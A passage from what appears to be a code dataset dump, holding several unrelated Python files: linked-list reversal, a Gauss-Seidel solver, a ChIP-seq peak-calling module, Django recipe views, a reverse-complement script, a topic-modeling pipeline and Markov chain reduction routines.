ListNode(-1)\n p1.next = head\n n = k\n while p1:\n if k > 0:\n k -= 1\n p1 = p1.next\n else:\n p2 = p1.next\n p1.next = None\n head, tail = self.reverseList(p0.next)\n p0.next = head\n p0 = tail # update p0\n tail.next = p2 # connect to next node\n p1 = p2\n k = n - 1 # p1: k now starts with n-1, since p1 now already points to a new node\n return sentinel.next\n\n def reverseList(self, head):\n if not head: return head\n p0 = senti = ListNode(-1)\n p0.next = p1 = head\n while p1:\n p2 = p1.next\n p1.next = p0\n p0 = p1\n p1 = p2\n head.next = None\n return p0, head\n\n","sub_path":"25_reverse_nodes_in_k_group/prac2.py","file_name":"prac2.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"143722166","text":"E = [[4,1,1,6], [2,5,2,3], [1,2,4,11]] # matrix estendida do sistema\n# 4x+y+z=6 --> x = (6 - y - z) / 4\n# 2x+5y+2z=3 --> y = (3 - 2x - 2z) / 5\n# x+2y+4z=11 --> z = (11 - x - 2y) / 4\n\ndef test(matrix, vec):\n err = []\n for row in matrix:\n prod = abs(sum([col * vec for col, vec in zip(row[:-1], vec)]) - row[-1])\n err.append(prod)\n return err\n\nn = 20\nitr = {}\nchute = [0,0,0]\nfor i in range(n):\n xn = []\n for j, row in enumerate(E):\n chute = xn + chute[len(xn):] # this line updates chute\n subs = sum([el * chute[k] for k, el in enumerate(row[:-1]) if k != j])\n subs = (row[-1] - subs) / row[j]\n xn.append(subs)\n print(i, xn, test(E, xn))\n chute = xn\n\n","sub_path":"sistemas lineares/seidel.py","file_name":"seidel.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"614784070","text":"import os\nimport numpy as np\nimport multiprocessing\nimport argparse\nimport py2bit\nimport pyBigWig\nimport gc\nimport statsmodels.sandbox.stats.multicomp\n\nfrom CRADLE.CallPeak import vari\nfrom CRADLE.CallPeak import calculateRC\n\n\ndef mergePeaks(peak_result):\n\n\t## open bigwig files to calculate effect size\n\tctrlBW = [0] * vari.CTRLBW_NUM\n\texpBW = [0] * vari.EXPBW_NUM\n\n\tfor i in range(vari.CTRLBW_NUM):\n\t\tctrlBW[i] = pyBigWig.open(vari.CTRLBW_NAMES[i])\n\tfor i in range(vari.EXPBW_NUM):\n\t\texpBW[i] = pyBigWig.open(vari.EXPBW_NAMES[i])\n\n\tmerged_peak = []\n\n\tpastChromo = peak_result[0][0]\n\tpastStart = int(peak_result[0][1])\n\tpastEnd = int(peak_result[0][2])\n\tpastEnrich = int(peak_result[0][3])\n\tpvalues = [float(peak_result[0][4])]\n\n\tmerged_peak.append(peak_result[0])\n\tresultIdx = 0\n\n\ti = 1\n\twhile(i < len(peak_result)):\n\t\tcurrChromo = peak_result[i][0]\n\t\tcurrStart = int(peak_result[i][1])\n\t\tcurrEnd = int(peak_result[i][2])\n\t\tcurrEnrich = int(peak_result[i][3])\n\t\tcurrpvalue = float(peak_result[i][4])\n\n\t\tif( (currChromo == pastChromo) and (currEnrich == pastEnrich) and ( (currStart-pastEnd) < vari.DISTANCE)):\n\t\t\tmerged_peak[resultIdx][2] = currEnd\n\t\t\tpvalues.extend([ currpvalue ])\n\t\telse:\n\t\t\t## update the continuous regions\n\t\t\tmerged_peak[resultIdx][4] = np.min(pvalues)\n\t\t\tregionChromo = merged_peak[resultIdx][0]\n\t\t\tregionStart = int(merged_peak[resultIdx][1])\n\t\t\tregionEnd = int(merged_peak[resultIdx][2])\n\n\t\t\tctrlRC = []\n\t\t\tfor rep in range(vari.CTRLBW_NUM):\n\t\t\t\trc = np.nanmean(np.array(ctrlBW[rep].values(regionChromo, regionStart, regionEnd)))\n\t\t\t\tctrlRC.extend([rc])\n\t\t\tctrlRC_posMean = np.nanmean(ctrlRC)\n\n\t\t\texpRC = []\n\t\t\tfor rep in range(vari.EXPBW_NUM):\n\t\t\t\trc = np.nanmean(np.array(expBW[rep].values(regionChromo, regionStart, regionEnd)))\n\t\t\t\texpRC.extend([rc])\n\t\t\texpRC_posMean = np.nanmean(expRC)\n\n\t\t\tdiff_pos = int(expRC_posMean - ctrlRC_posMean)\n\t\t\tmerged_peak[resultIdx][5] = diff_pos\n\n\t\t\t## start a new region\n\t\t\tmerged_peak.append(peak_result[i])\n\t\t\tpvalues = [currpvalue]\n\t\t\tresultIdx = resultIdx + 1\n\n\t\tif(i == (len(peak_result) -1)):\n\t\t\tmerged_peak[resultIdx][4] = np.min(pvalues)\n\t\t\tregionChromo = merged_peak[resultIdx][0]\n\t\t\tregionStart = int(merged_peak[resultIdx][1])\n\t\t\tregionEnd = int(merged_peak[resultIdx][2])\n\n\t\t\tctrlRC = []\n\t\t\tfor rep in range(vari.CTRLBW_NUM):\n\t\t\t\trc = np.nanmean(np.array(ctrlBW[rep].values(regionChromo, regionStart, regionEnd)))\n\t\t\t\tctrlRC.extend([rc])\n\t\t\tctrlRC_posMean = np.nanmean(ctrlRC)\n\n\t\t\texpRC = []\n\t\t\tfor rep in range(vari.EXPBW_NUM):\n\t\t\t\trc = np.nanmean(np.array(expBW[rep].values(regionChromo, regionStart, regionEnd)))\n\t\t\t\texpRC.extend([rc])\n\t\t\texpRC_posMean = np.nanmean(expRC)\n\n\t\t\tdiff_pos = int(expRC_posMean - ctrlRC_posMean)\n\t\t\tmerged_peak[resultIdx][5] = diff_pos\n\n\t\tpastChromo = currChromo\n\t\tpastStart = currStart\n\t\tpastEnd = currEnd\n\t\tpastEnrich = currEnrich\n\n\t\ti = i + 1\n\n\tfor i in range(vari.CTRLBW_NUM):\n\t\tctrlBW[i].close()\n\tfor i in range(vari.EXPBW_NUM):\n\t\texpBW[i].close()\n\n\treturn merged_peak\n\n\ndef filterSmallPeaks(peak_result):\n\n\tfinal_result = []\n\tfor i in range(len(peak_result)):\n\t\tstart = int(peak_result[i][1])\n\t\tend = int(peak_result[i][2])\n\n\t\tif( (end-start) >= vari.PEAKLEN ):\n\t\t\tfinal_result.append(peak_result[i])\n\n\treturn final_result\n\n\n\ndef run(args):\n\n\t###### INITIALIZE PARAMETERS\n\tprint(\"====== INITIALIZING PARAMETERS ...\\n\")\n\tvari.setGlobalVariables(args)\t\n\n\t\n\t##### CALCULATE vari.FILTER_CUTOFF\n\tprint(\"====== CALCULATING OVERALL VARIANCE FILTER CUTOFF ...\")\n\tregion_total = 0\n\ttask_vari = []\n\tfor region in vari.REGION:\n\t\tregionSize = int(region[2]) - int(region[1])\n\t\tregion_total = region_total + regionSize\n\t\ttask_vari.append(region)\n\t\t\n\t\tif(region_total > 3* np.power(10, 8)):\n\t\t\tbreak\n\n\tif(len(task_vari) < vari.NUMPROCESS):\n\t\tpool = multiprocessing.Pool(len(task_vari))\n\telse:\n\t\tpool = multiprocessing.Pool(vari.NUMPROCESS)\n\n\tresult_filter = pool.map_async(calculateRC.getVariance, task_vari).get()\n\tpool.close()\n\tpool.join()\n\n\tvar = []\n\tfor i in range(len(result_filter)):\n\t\tif(result_filter[i] != None):\n\t\t\tvar.extend(result_filter[i])\n\n\tvari.FILTER_CUTOFFS[0] = -1\n\tfor i in range(1, len(vari.FILTER_CUTOFFS_THETAS)):\n\t\tvari.FILTER_CUTOFFS[i] = np.percentile(var, vari.FILTER_CUTOFFS_THETAS[i])\n\tvari.FILTER_CUTOFFS = np.array(vari.FILTER_CUTOFFS)\n\n\tprint(\"Variance Cutoff: %s\" % np.round(vari.FILTER_CUTOFFS))\n\tdel pool, var, result_filter\n\tgc.collect()\n\n\n\t##### DEFINING REGIONS\n\tprint(\"====== DEFINING REGIONS ...\")\n\t# 1) CALCULATE REGION_CUFOFF\n\tregion_total = 0\n\ttask_diff = []\n\tfor region in vari.REGION:\n\t\tregionSize = int(region[2]) - int(region[1])\n\t\tregion_total = region_total + regionSize \n\t\ttask_diff.append(region)\t\t\n\n\t\tif(region_total > 3* np.power(10, 8)):\n\t\t\tbreak\n\n\tif(len(task_diff) < vari.NUMPROCESS):\n\t\tpool = multiprocessing.Pool(len(task_diff))\n\telse:\n\t\tpool = multiprocessing.Pool(vari.NUMPROCESS)\n\tresult_diff = pool.map_async(calculateRC.getRegionCutoff, task_diff).get()\n\tpool.close()\n\tpool.join()\n\n\tdiff = []\n\tfor i in range(len(result_diff)):\n\t\tif(result_diff[i] != None):\n\t\t\tdiff.extend(result_diff[i])\n\n\tvari.NULL_STD = np.sqrt(np.nanvar(diff))\n\tprint(\"Null_std: %s\" % vari.NULL_STD)\n\tvari.REGION_CUTOFF = np.percentile(np.array(diff), 99)\n\tprint(\"Region cutoff: %s \" % vari.REGION_CUTOFF)\n\tdel pool, result_diff, diff, task_diff\n\tgc.collect()\n\t\n\n\t# 2) DEINING REGIONS WITH 'vari.REGION_CUTOFF'\n\tif(len(vari.REGION) < vari.NUMPROCESS):\n\t\tpool = multiprocessing.Pool(len(vari.REGION))\n\telse:\t\n\t\tpool = multiprocessing.Pool(vari.NUMPROCESS)\n\tresult_region = pool.map_async(calculateRC.defineRegion, vari.REGION).get()\t\t\n\tpool.close()\n\tpool.join()\n\tgc.collect()\n\t\n\n\t##### STATISTICAL TESTING FOR EACH REGION\n\tprint(\"====== PERFORMING STAITSTICAL TESTING FOR EACH REGION ...\")\n\ttask_window = []\n\tfor i in range(len(result_region)):\n\t\tif(result_region[i] != None):\n\t\t\ttask_window.append(result_region[i])\n\tdel result_region\n\n\tif(len(task_window) < vari.NUMPROCESS):\n\t\tpool = multiprocessing.Pool(len(task_window))\n\telse:\n\t\tpool = multiprocessing.Pool(vari.NUMPROCESS)\n\tresult_ttest = pool.map_async(calculateRC.doWindowApproach, task_window).get()\n\tpool.close()\n\tpool.join()\n\t\n\n\tmeta_filename = vari.OUTPUT_DIR + \"/metaData_pvalues\"\n\tmeta_stream = open(meta_filename, \"w\")\n\tfor i in range(len(result_ttest)):\n\t\tif(result_ttest[i] != None):\n\t\t\tmeta_stream.write(result_ttest[i] + \"\\n\")\n\tmeta_stream.close()\n\tdel task_window, pool, result_ttest\n\t\n\n\t##### CHOOSING THETA \n\ttask_theta = [meta_filename]\n\tpool = multiprocessing.Pool(1)\n\tresult_theta = pool.map_async(calculateRC.selectTheta, task_theta).get()\n\tpool.close()\n\tpool.join()\n\n\tvari.THETA = result_theta[0][0]\n\tselectRegionNum = result_theta[0][1]\n\ttotalRegionNum = result_theta[0][2]\t\n\n\n\t##### FDR control\n\tprint(\"====== CALLING PEAKS ...\")\n\tvari.ADJ_FDR = ( vari.FDR * selectRegionNum ) / float(totalRegionNum)\n\tprint(\"Selected Variance Theta: %s\" % vari.THETA)\n\tprint(\"Total number of regions: %s\" % totalRegionNum)\n\tprint(\"The number of selected regions: %s\" % selectRegionNum)\n\tprint(\"Newly adjusted cutoff: %s\" % vari.ADJ_FDR)\n\t\n\n\t##### Applying the selected theta \n\tinput_filename = meta_filename\n\tinput_stream = open(input_filename)\n\tinput_file = input_stream.readlines()\n\n\tPVALUE_simes = []\n\n\t### Apply the selected thata to the data\n\tfor subFileIdx in range(len(input_file)):\n\t\tsubfile_name = input_file[subFileIdx].split()[0]\n\t\tsubfile_stream = open(subfile_name)\n\t\tsubfile_file = subfile_stream.readlines()\n\n\t\tfor regionIdx in range(len(subfile_file)):\n\t\t\tline = subfile_file[regionIdx].split()\n\t\t\tregionTheta = int(line[3])\n\t\t\tregionPvalue = float(line[4])\n\n\t\t\tif(np.isnan(regionPvalue) == True):\n\t\t\t\tcontinue\n\n\t\t\tif(regionTheta >= vari.THETA):\n\t\t\t\tPVALUE_simes.extend([ regionPvalue ])\n\t\n\tPVALUE_group_bh = statsmodels.sandbox.stats.multicomp.multipletests(PVALUE_simes, alpha=vari.FDR, method='fdr_bh')[0]\n\n\n\t##### Selecting windows\n\ttask_callPeak = []\n\n\tinput_filename = meta_filename\n\tinput_stream = open(input_filename)\n\tinput_file = input_stream.readlines()\n\n\tgroupPvalueIdx = 0\n\tfor subFileIdx in range(len(input_file)):\n\t\tsubfile_name = input_file[subFileIdx].split()[0]\n\t\tsubfile_stream = open(subfile_name)\n\t\tsubfile_file = subfile_stream.readlines()\n\n\t\tselectRegionIdx = []\n\t\tselectedIdx = 0\n\n\t\tfor regionIdx in range(len(subfile_file)):\n\t\t\tline = subfile_file[regionIdx].split()\n\t\t\tregionTheta = int(line[3])\n\t\t\tregionPvalue = float(line[4])\n\t\t\t\n\t\t\tif(regionTheta < vari.THETA):\n\t\t\t\tcontinue\n\t\t\tif(np.isnan(regionPvalue) == True):\n\t\t\t\tcontinue\n\t\t\tif(PVALUE_group_bh[groupPvalueIdx+selectedIdx] == True):\n\t\t\t\tselectRegionIdx.extend([ regionIdx ])\n\t\t\tselectedIdx = selectedIdx + 1\n\n\t\tgroupPvalueIdx = groupPvalueIdx + selectedIdx\n\n\t\tif(len(selectRegionIdx) != 0):\n\t\t\ttask_callPeak.append([subfile_name, selectRegionIdx])\n\t\telse:\n\t\t\tos.remove(subfile_name)\n\n\tinput_stream.close()\n\tos.remove(meta_filename)\t\n\n\tif(len(task_callPeak) == 0):\n\t\tprint(\"======= COMPLETED! ===========\")\n\t\tprint(\"There is no peak detected in %s.\" % vari.OUTPUT_DIR)\n\t\treturn\n\n\tif(len(task_callPeak) < vari.NUMPROCESS):\n\t\tpool = multiprocessing.Pool(len(task_callPeak))\n\telse:\n\t\tpool = multiprocessing.Pool(vari.NUMPROCESS)\n\tresult_callPeak = pool.map_async(calculateRC.doFDRprocedure, task_callPeak).get()\n\tpool.close()\n\tpool.join()\n\t\n\tdel pool, task_callPeak\n\tgc.collect()\n\n\tpeak_result = []\n\tfor i in range(len(result_callPeak)):\n\t\tinput_filename = result_callPeak[i]\n\t\tinput_stream = open(input_filename)\n\t\tinput_file = input_stream.readlines()\n\n\t\tfor j in range(len(input_file)):\n\t\t\ttemp = input_file[j].split()\n\t\t\tpeak_result.append(temp)\n\t\tinput_stream.close()\n\t\tos.remove(input_filename)\n\n\tif(len(peak_result) == 0):\n\t\tprint(\"======= COMPLETED! ===========\")\n\t\tprint(\"There is no peak detected in %s.\" % vari.OUTPUT_DIR)\n\t\treturn\n\n\t######## WRITE A RESULT FILE\n\tcolNames = [\"chr\", \"start\", \"end\", \"activity type\", \"p value\", \"effect size\"]\n\tif(vari.DISTANCE == 1):\n\t\tfinal_result = filterSmallPeaks(peak_result)\n\n\t\tnumActi = 0\n\t\tnumRepress = 0\n\n\t\toutput_filename = vari.OUTPUT_DIR + \"/CRADLE_peaks\"\n\t\toutput_stream = open(output_filename, \"w\")\n\t\toutput_stream.write('\\t'.join([str(x) for x in colNames]) + \"\\n\")\n\n\t\tfor i in range(len(final_result)):\n\t\t\tif(int(final_result[i][3]) == 1):\n\t\t\t\tnumActi = numActi + 1\n\t\t\telse:\n\t\t\t\tnumRepress = numRepress + 1\n\n\t\t\toutput_stream.write('\\t'.join([str(x) for x in final_result[i]]) + \"\\n\")\n\t\toutput_stream.close()\n\telse:\n\t\tmerged_peaks = mergePeaks(peak_result)\n\t\tfinal_result = filterSmallPeaks(merged_peaks)\n\n\t\tnumActi = 0\n\t\tnumRepress = 0\n\n\t\toutput_filename = vari.OUTPUT_DIR + \"/CRADLE_peaks\"\n\t\toutput_stream = open(output_filename, \"w\")\n\t\toutput_stream.write('\\t'.join([str(x) for x in colNames]) + \"\\n\")\n\n\t\tfor i in range(len(final_result)):\n\t\t\tif(int(final_result[i][3]) == 1):\n\t\t\t\tnumActi = numActi + 1\n\t\t\telse:\n\t\t\t\tnumRepress = numRepress + 1\n\n\t\t\toutput_stream.write('\\t'.join([str(x) for x in final_result[i]]) + \"\\n\")\n\t\toutput_stream.close()\n\n\tprint(\"======= COMPLETED! ===========\")\n\tprint(\"The peak result was saved in %s\" % vari.OUTPUT_DIR)\n\tprint(\"Total number of peaks: %s\" % len(final_result))\n\tprint(\"Activated peaks: %s\" % numActi)\n\tprint(\"Repressed peaks: %s\" % numRepress)\n\n\treturn\n","sub_path":"CRADLE/CallPeak/callPeak.py","file_name":"callPeak.py","file_ext":"py","file_size_in_byte":11156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"302263349","text":"# nl.py : 引数で渡されたファイルもしくは標準入力の文字に行番号を入れていく\nimport sys\n\nif len(sys.argv) > 1:\n try:\n lines = (open(sys.argv[1], 'rU'))\n except (FileNotFoundError) as e:\n print(\"残念ながら \" + e.filename + \"というファイル名は見つかりませんでした・・・\")\n sys.exit(1)\nelse:\n lines = sys.stdin\n\ni = 1\nwhile True:\n scentence = lines.readline()\n if not scentence:\n break \n if scentence.strip() != \"\": \n print(str(i)+ \" \" + scentence.replace('\\n',''))\n i += 1\n else:\n print(scentence.replace('\\n','')) \nlines.close()","sub_path":"3rd/kadai1/nl.py","file_name":"nl.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"606730319","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User\nfrom . import models\nfrom . import serializers\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import JsonResponse\n\ndef home(request):\n print(\"home\")\n return HttpResponse(\"Home Page\")\n\n@csrf_exempt\ndef createRecipe(request):\n\n if(request.method == 'POST'):\n\n query_username = request.POST['user']\n query_recipe_name = request.POST['recipename']\n user_obj = User.objects.filter(username=query_username)\n\n if(len(query_recipe_name.strip())==0):\n return HttpResponse(\"Recipe name can't be empty\", status=\"422\")\n if(len(user_obj)!=1):\n return HttpResponse(\"User doesn't exist\", status=\"422\")\n\n receipe_res = models.RecipeModel.objects.filter(user__username=query_username)\n print(len(receipe_res))\n if(len(receipe_res) >= 1):\n return HttpResponse(\"Receipe for user already exists\", status=\"422\")\n elif(len(user_obj) == 1) :\n p = models.RecipeModel(name=query_recipe_name, user=user_obj[0])\n p.save()\n return HttpResponse(\"Success Recipe Added!\", status=200)\n else:\n content = {'Method Not Allowed': '405 Status'}\n return JsonResponse(content, status=405)\n\ndef getRecipeOfGivenUser(request, username):\n\n if(request.method == 'GET'):\n user_obj = User.objects.filter(username=username)\n if (len(user_obj) != 1):\n return HttpResponse(\"User doesn't exist\", status=\"422\")\n receipe = models.RecipeModel.objects.filter(user__username=user_obj[0].username)\n if(len(receipe)<1):\n return HttpResponse(\"No Recipe's for user\", status=\"200\")\n recipe_data = serializers.RecipeSerialize(receipe, many=True)\n return JsonResponse(recipe_data.data, safe=False, status=200)\n else:\n content = {'Method Not Allowed': '405 Status'}\n return JsonResponse(content, status=405)\n\n\n@csrf_exempt\ndef updateRecipe(request):\n\n if(request.method=='POST'):\n\n query_username = request.POST['user']\n query_recipe_name = request.POST['recipename']\n\n user_obj = User.objects.filter(username=query_username)\n\n if (len(query_recipe_name.strip()) == 0):\n return HttpResponse(\"Recipe name can't be empty\", status=422)\n\n if (len(user_obj) != 1):\n return HttpResponse(\"User doesn't exist\", status=422)\n\n receipe_res = models.RecipeModel.objects.filter(user__username=query_username)\n\n if (len(receipe_res) == 1):\n receipe_res[0].name = query_recipe_name\n receipe_res[0].save()\n return HttpResponse(\"Success Recipe Updated!\", status=200)\n else:\n return HttpResponse(\"No Recipe to Update!\", status=422)\n else:\n content = {'Method Not Allowed': '405 Status'}\n return JsonResponse(content, status=405)\n\ndef deleteRecipe(request, recipename):\n if (request.method == 'GET'):\n receipe = models.RecipeModel.objects.filter(name=recipename)\n receipe.delete()\n return HttpResponse(\"Recipe deleted!\", status=200)\n else:\n content = {'Method Not Allowed': '405 Status'}\n return JsonResponse(content, status=405)\n","sub_path":"recipe/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"602962809","text":"\"\"\"\nFind the reverse complement of a nucleotide pattern.\n\"\"\"\n\nimport sys\n\ndef complement(p):\n complements = {\n 'A': 'T',\n 'T': 'A',\n 'C': 'G',\n 'G': 'C'\n }\n return complements[p]\n\ndef revcomp_naive(Pattern):\n rc = []\n for c in reversed(Pattern):\n rc.append(complement(c))\n return rc\n\nif __name__ == \"__main__\":\n script, Pattern_in = sys.argv\n Patternf = open(Pattern_in)\n Pattern = Patternf.read()[:-1]\n print(''.join(revcomp_naive(Pattern)))\n","sub_path":"ch1/revcomp.py","file_name":"revcomp.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"171658392","text":"from __future__ import print_function\nimport pandas as pd\nimport argparse\nimport nmf\nimport lda_modeling\nimport vader\nimport os\nimport split_data\nimport logistic_regression\nimport json\nimport linear_regression\n\n\"\"\"\nExample command line:\n python filename name_of_datafile name_of_column num_clusters num_top_words_returned\n $ python main.py data/cleaned.csv txt 50 10\n\"\"\"\n\ndef createDict(original_df, lda_df, vader_df, nmf_df):\n \n dfs = {}\n lda_vader_df = pd.concat([original_df, lda_df, vader_df], axis=1)\n dfs['lda_vader'] = lda_vader_df\n lda_df = pd.concat([original_df, lda_df], axis=1)\n dfs['lda'] = lda_df\n nmf_vader_df = pd.concat([original_df, nmf_df, vader_df], axis=1)\n dfs['nmf_vader'] = nmf_vader_df\n nmf_df = pd.concat([original_df, nmf_df], axis=1)\n dfs['nmf'] = nmf_df\n vader_df = pd.concat([original_df, vader_df], axis=1)\n dfs['vader'] = vader_df\n \n return dfs\n \ndef writeDFstocsv(path_of_files, dfs):\n if not os.path.exists(path_of_files):\n os.makedirs(path_of_files)\n for key in dfs.keys():\n dfs[key].to_csv(path_of_files + '/' \\\n + key + '.csv')\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n \n parser.add_argument('csvname', type=str, help=\"name of excel file holding the categorized comments\")\n parser.add_argument('colname', type=str, help=\"name of column holding the comments\")\n parser.add_argument('n_topics', type=int, help=\"number of clusters\")\n parser.add_argument('n_top_words', type=int, help=\"number of top words per cluster\")\n \n args = parser.parse_args()\n \n path_of_files = 'data/processed_'+args.colname\n \n #create the different models and extract data\n lda_df = lda_modeling.main(args.csvname, args.colname, args.n_topics, args.n_top_words)\n nmf_df = nmf.main(args.csvname, args.colname, args.n_topics, args.n_top_words)\n vader_df = vader.main(args.csvname, args.colname)\n original_df = pd.read_csv(args.csvname)[[u'year', u'urm', u'satisf', u'needaid']]\n \n #combine dfs appropriately, and create csv files of the combinations\n dfs = createDict(original_df, lda_df, vader_df, nmf_df)\n writeDFstocsv(path_of_files, dfs)\n \n # set the directory to sowk from\n directory = os.path.join(os.getcwd(), path_of_files)\n \n # call split_data to split the csv files into their directories\n split_data.main(directory)\n \n #logistic regression for variables needaid and urm\n y_variables = ['needaid', 'urm']\n for y_var in y_variables:\n results = logistic_regression.main(directory, y_var)\n with open(os.path.join(directory,'results_logreg_'+y_var+\"_\"+ args.colname +'.json'), 'w') as outfile:\n json.dump(results, outfile)\n \n # linear regression for satisfaction\n y_var = 'satisf'\n results = linear_regression.main(directory, y_var)\n with open(os.path.join(directory,'results_linreg_'+y_var+\"_\"+ args.colname +'.json'), 'w') as outfile:\n json.dump(results, outfile)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"185365893","text":"from django.forms import ModelForm, DateInput\nfrom books.models import Book\n\nclass BookForm(ModelForm):\n class Meta:\n model = Book\n fields = ['book_title','book_author','book_isbn','book_price','book_publish_date']\n widgets = {\n 'book_publish_date': DateInput(),\n }","sub_path":"books/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"222369522","text":"\n\nfrom multiprocessing import freeze_support\nimport platform\nimport pykov, sys, time\n\nimport numpy as np\nimport networkx as nx\nfrom scipy.linalg import block_diag\n\nfrom main_loop import *\nfrom queuing import *\n\nPLOT = True\n\ndef calculate_time(func):\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n print(f\"Function {func.__name__} took {(end_time - start_time):.5f} seconds to run.\")\n return result\n return wrapper\n\ndef markov_chain_indexing_method(transition_matrix):\n \"\"\"\n Applies Markov Chain Indexing Method to reduce the size of a transition matrix.\n \n Args:\n transition_matrix: np.array, the transition matrix of the Markov chain.\n num_indices: int, the number of indices to use for reduction.\n \n Returns:\n reduced_transition_matrix: np.array, the reduced transition matrix.\n \"\"\"\n num_indices = len(transition_matrix)-1\n\n num_states = transition_matrix.shape[0]\n num_reduced_states = num_states // num_indices\n reduced_transition_matrix = np.zeros((num_reduced_states, num_reduced_states))\n \n for i in range(num_reduced_states):\n for j in range(num_reduced_states):\n for k in range(num_indices):\n for l in range(num_indices):\n reduced_transition_matrix[i, j] += transition_matrix[i*num_indices + k, j*num_indices + l]\n \n return reduced_transition_matrix\n\n@calculate_time\ndef gth_reduction(P, tol=1e-10):\n \"\"\"\n Implements the GTH reduction algorithm to reduce a Markov chain by eliminating\n transient states.\n \n Parameters:\n - P: numpy array representing the transition probability matrix of the Markov chain\n - tol: tolerance for convergence (default: 1e-10)\n \n Returns:\n - P_reduced: numpy array representing the reduced transition probability matrix\n - states: list of indices of the non-transient states in the reduced Markov chain\n \"\"\"\n \n n = P.shape[0]\n D = np.diag(P.sum(axis=1)) # degree matrix\n \n # Compute initial GTH matrix\n M = D @ P\n M[np.diag_indices(n)] -= 1\n \n # Power method to find stationary distribution\n v = np.ones(n)\n v /= v.sum()\n while True:\n v_new = M @ v\n v_new /= v_new.sum()\n if np.max(np.abs(v_new - v)) < tol:\n break\n v = v_new\n \n # Identify non-transient states\n states = np.where(v > 0)[0]\n \n # Compute reduced transition probability matrix\n P_reduced = np.zeros((len(states), len(states)))\n for i, s in enumerate(states):\n for j, t in enumerate(states):\n P_reduced[i, j] = P[s, t] / v[t]\n \n return P_reduced, states.tolist()\n\n@calculate_time\ndef reduce_graph(P, threshold=1e-5):\n \"\"\"\n Réduit le graphe de la chaîne de Markov représentée par la matrice de transition P\n en supprimant les états dont l'importance est inférieure au seuil donné par threshold.\n \"\"\"\n n = P.shape[0] # nombre d'états de la chaîne de Markov\n G = nx.DiGraph(P)\n pr = nx.pagerank(G) # calcule l'importance de chaque état\n to_remove = [i for i in range(n) if pr[i] < threshold] # trouve les états à supprimer\n P_red = np.delete(np.delete(P, to_remove, axis=0), to_remove, axis=1) # supprime les états\n return P_red\n\n@calculate_time\ndef perron_frobenius_reduction(P, tol=1e-5):\n \"\"\"\n Cette méthode permet de trouver une matrice de transition réduite pour une chaîne de Markov donnée.\n \"\"\"\n n = P.shape[0]\n d = np.ones(n) / n\n while True:\n d_new = np.dot(d, P)\n if np.linalg.norm(d_new - d) < tol:\n break\n d = d_new\n Q = np.zeros((n-1, n-1))\n for i in range(n-1):\n for j in range(n-1):\n Q[i,j] = P[i,j] - d[i]*P[n-1,j] - P[i,n-1]*d[j] + d[n-1]*d[j]*P[n-1,n-1]\n return Q\n\n@calculate_time\ndef perron_frobenius_reduction2(matrix):\n # Vérification que la matrice est carrée\n assert matrix.shape[0] == matrix.shape[1], \"La matrice doit être carrée\"\n \n # Vérification que la matrice est stochastique\n assert np.allclose(np.sum(matrix, axis=1), 1), \"La matrice doit être stochastique\"\n \n # Calcul des valeurs propres et vecteurs propres de la matrice\n eig_values, eig_vectors = np.linalg.eig(matrix.T)\n \n # Recherche de la valeur propre dominante\n max_eig_value_index = np.argmax(np.abs(eig_values))\n max_eig_value = eig_values[max_eig_value_index]\n max_eig_vector = eig_vectors[:, max_eig_value_index]\n \n # Normalisation du vecteur propre dominant\n max_eig_vector = max_eig_vector / np.sum(max_eig_vector)\n \n # Calcul de la matrice réduite ergodique\n reduced_matrix = np.outer(max_eig_vector, max_eig_vector)\n \n return reduced_matrix\n\n@calculate_time\ndef qbd_reduce(P, Q):\n \"\"\"\n Performs QBD reduction on a Markov chain with transition rate matrix Q,\n given the corresponding transition probability matrix P.\n\n Returns the reduced transition probability matrix and the group sizes.\n\n Parameters:\n - P: numpy array, the transition probability matrix\n - Q: numpy array, the transition rate matrix\n\n Returns:\n - P_reduced: numpy array, the reduced transition probability matrix\n - group_sizes: list of integers, the sizes of the groups of states\n \"\"\"\n n = Q.shape[0] # number of states\n R = np.diag(np.sum(Q, axis=1)) - Q # the R matrix\n I = np.identity(n)\n\n # initialize the reduced matrices\n P_reduced = np.zeros((n, n))\n group_sizes = []\n\n # perform QBD reduction\n while True:\n # compute the quasi-diagonal blocks\n B = [I]\n for i in range(n):\n for j in range(n):\n if i != j and Q[i, j] != 0:\n block = Q[i, j] * np.linalg.inv(R[i, i] * I - Q)\n B.append(block)\n\n # compute the diagonal blocks and the group sizes\n D = []\n group_sizes = []\n i = 0\n while i < len(B):\n block = B[i]\n size = 1\n while i + size < len(B) and np.allclose(B[i + size], block):\n size += 1\n D.append(block)\n group_sizes.append(size)\n i += size\n\n # combine the blocks and check for convergence\n P_reduced = block_diag(*D)\n if np.allclose(P_reduced, P):\n break\n\n # compute the new Q and R matrices\n Q = np.sum([B[i] * R * B[i].T for i in range(len(B))], axis=0)\n R = np.diag(np.sum(Q, axis=1)) - Q\n\n return P_reduced, group_sizes\n\n@calculate_time\ndef gerschgorin_reduction(P):\n # Compute the Gerschgorin disks\n n = P.shape[0]\n disks = [np.array([P[i,i]-np.abs(P[i,:]).sum(), P[i,i]+np.abs(P[i,:]).sum()]) for i in range(n)]\n \n # Group together disks that intersect\n groups = []\n for i in range(n):\n if i not in [group[-1] for group in groups]:\n 